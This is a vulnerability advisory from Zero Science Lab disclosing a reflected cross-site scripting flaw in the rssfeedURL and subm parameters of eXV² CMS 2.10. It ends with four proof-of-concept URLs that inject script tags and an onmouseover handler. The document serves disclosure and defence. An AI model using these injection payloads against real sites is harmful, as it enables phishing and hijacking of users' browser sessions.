eXV² Content Management System 2.10 Remote XSS Vulnerability


Vendor: eXV² Team
Product web page: http://www.exv2.de
Affected version: 2.10 (LiveCD)

Summary: eXV² is a free CMS for building and operating private
home pages, small and large communities and it's also easily
used for small to medium business presences.

Desc: The CMS suffers from a remote reflected Cross-Site Scripting
vulnerability when input passed thru "rssfeedURL" and "subm" parameter
in "archive.php", "topics.php", "example.php" and "index.php" is not
sanitized, allowing the attacker to execute arbitrary HTML and script
code in a user's browser session and aid in phishing attacks.

Tested on: Microsoft Windows XP Pro (EN)
           Apache 2.2.14 (Win32)
           MySQL 5.1.41
           PHP 5.3.1

Vendor status: [09.10.2010] Vulnerability discovered.
               [10.10.2010] Contact with the vendor.
               [14.10.2010] No reply from vendor.
               [15.10.2010] Public advisory released.

Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic
                             liquidworm gmail com
                             Zero Science Lab - http://www.zeroscience.mk

Advisory ID: ZSL-2010-4970
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4970.php

PoC:

http://127.0.0.1:4001/manual/caferss/example.php?rssfeedURL="%20onmouseover=prompt(1)%20xss="&submit=OK
http://127.0.0.1:4001/modules/news/archive.php?subm="><script>alert(1)</script>
http://127.0.0.1:4001/modules/news/topics.php?subm="><script>alert(1)</script>
http://127.0.0.1:4001/modules/contact/index.php?op=contact&subm="><script>alert(1)</script>